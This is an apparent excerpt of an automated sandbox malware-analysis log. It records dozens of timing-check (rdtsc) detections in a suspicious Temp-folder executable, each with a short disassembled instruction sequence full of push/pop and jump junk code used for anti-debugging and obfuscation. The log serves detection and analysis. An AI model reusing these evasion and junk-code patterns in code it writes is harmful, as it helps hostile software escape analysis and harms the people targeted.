Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C43D6 second address: 9C4434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F0F38F95236h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F0F38F95228h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f mov ebx, dword ptr [ebp+1247A509h] 0x00000035 pop ebx 0x00000036 push 00000000h 0x00000038 jmp 00007F0F38F9522Bh 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C6365 second address: 9C6369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C8441 second address: 9C844E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F0F38F95228h 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C8AEE second address: 9C8AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C999E second address: 9C99B0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F0F38F95226h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C99B0 second address: 9C99C2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C99C2 second address: 9C99C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C99C8 second address: 9C99CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C99CE second address: 9C99D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C99D2 second address: 9C99D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CB8B2 second address: 9CB8B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CC820 second address: 9CC824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C8C97 second address: 9C8CA1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C8CA1 second address: 9C8CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BC1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C8CB6 second address: 9C8D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor edi, dword ptr [ebp+122D3AABh] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 jc 00007F0F38F95228h 0x0000001c mov bh, DDh 0x0000001e mov ebx, ecx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F0F38F95228h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 xor edi, dword ptr [ebp+122D39ABh] 0x00000047 mov eax, dword ptr [ebp+122D115Dh] 0x0000004d push 00000000h 0x0000004f push esi 0x00000050 call 00007F0F38F95228h 0x00000055 pop esi 0x00000056 mov dword ptr [esp+04h], esi 0x0000005a add dword ptr [esp+04h], 0000001Bh 0x00000062 inc esi 0x00000063 push esi 0x00000064 ret 0x00000065 pop esi 0x00000066 ret 0x00000067 mov bx, 1824h 0x0000006b push FFFFFFFFh 0x0000006d mov dword ptr [ebp+122D1BBAh], edi 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 ja 00007F0F38F9522Ch 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CAB6E second address: 9CAB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CAB72 second address: 9CAB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CAB7F second address: 9CAB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CBA26 second address: 9CBA3C instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jnl 00007F0F38F95243h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CCA25 second address: 9CCA2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CCAEE second address: 9CCAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CD927 second address: 9CD92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D6635 second address: 9D6643 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D6643 second address: 9D664D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D664D second address: 9D665A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D665A second address: 9D667A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0F38729BB6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007F0F38729BB6h 0x00000017 pop ebx 0x00000018 push edi 0x00000019 jns 00007F0F38729BB6h 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D667A second address: 9D6684 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F38F9522Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D692A second address: 9D6946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F0F38729BC3h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D6946 second address: 9D6958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0F38F95226h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9D6958 second address: 9D6972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CE80F second address: 9CE820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9CE820 second address: 9CE82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9DCF17 second address: 9DCF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2799 second address: 9E279D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E279D second address: 9E27A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2A4A second address: 9E2A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2A4E second address: 9E2A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2A54 second address: 9E2A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0F38729BC5h 0x0000000c popad 0x0000000d jg 00007F0F38729BEFh 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2A7C second address: 9E2AAA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0F38F95226h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0F38F95239h 0x00000012 jnp 00007F0F38F95226h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2C12 second address: 9E2C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2D66 second address: 9E2D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F0F38F95237h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F0F38F95226h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2D8C second address: 9E2D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2D90 second address: 9E2D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E2D96 second address: 9E2DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007F0F38729BB6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E3185 second address: 9E31CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38F95235h 0x00000009 pop esi 0x0000000a jo 00007F0F38F9523Bh 0x00000010 jmp 00007F0F38F95235h 0x00000015 jmp 00007F0F38F9522Dh 0x0000001a jl 00007F0F38F9522Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E9AF7 second address: 9E9B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BBFh 0x00000009 jns 00007F0F38729BB6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E9B18 second address: 9E9B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9762B8 second address: 9762C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E8906 second address: 9E890A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E890A second address: 9E892C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BBBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F38729BBEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E892C second address: 9E8945 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F38F9522Eh 0x00000008 jng 00007F0F38F95226h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push esi 0x00000011 jnc 00007F0F38F95226h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E8E6A second address: 9E8E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E8E71 second address: 9E8E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95238h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0F38F9522Eh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E902A second address: 9E902E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E902E second address: 9E9042 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F38F95226h 0x00000008 jns 00007F0F38F95226h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E943C second address: 9E9440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9E9440 second address: 9E9450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jbe 00007F0F38F95226h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 965230 second address: 965234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 965234 second address: 96523E instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F38F95226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9EE894 second address: 9EE89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9EE89A second address: 9EE89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F15B3 second address: 9F15B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F15B9 second address: 9F15BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F15BD second address: 9F15C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F15C1 second address: 9F15E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38F95233h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0F38F9522Dh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 972E0C second address: 972E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 972E10 second address: 972E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5B68 second address: 9F5B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BC0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F38729BBCh 0x00000011 jmp 00007F0F38729BC1h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5B9C second address: 9F5BA2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5CF0 second address: 9F5D05 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F38729BBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5D05 second address: 9F5D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5D09 second address: 9F5D38 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0F38729BB6h 0x00000008 jmp 00007F0F38729BC1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F0F38729BB6h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jnp 00007F0F38729BB6h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F5ECA second address: 9F5ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F678E second address: 9F6798 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F38729BBEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F68F9 second address: 9F68FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F68FE second address: 9F6907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9F6907 second address: 9F690B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5017 second address: 9993D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F0F38729BB8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push esi 0x00000023 sub di, 7CF6h 0x00000028 pop edi 0x00000029 lea eax, dword ptr [ebp+12489DE3h] 0x0000002f mov dword ptr [ebp+122D207Ah], edx 0x00000035 push eax 0x00000036 jmp 00007F0F38729BC1h 0x0000003b mov dword ptr [esp], eax 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F0F38729BB8h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 00000014h 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 mov dword ptr [ebp+122D1E48h], ebx 0x0000005e jl 00007F0F38729BBCh 0x00000064 mov dword ptr [ebp+12467E79h], ecx 0x0000006a call dword ptr [ebp+122D366Fh] 0x00000070 push edx 0x00000071 jmp 00007F0F38729BC7h 0x00000076 pop edx 0x00000077 pushad 0x00000078 jmp 00007F0F38729BC6h 0x0000007d jmp 00007F0F38729BBDh 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5277 second address: 9B527B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5588 second address: 9B558C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B558C second address: 9B5592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B565A second address: 9B5696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jne 00007F0F38729BD7h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F0F38729BB6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5696 second address: 9B56C1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F0F38F9522Fh 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 je 00007F0F38F95226h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
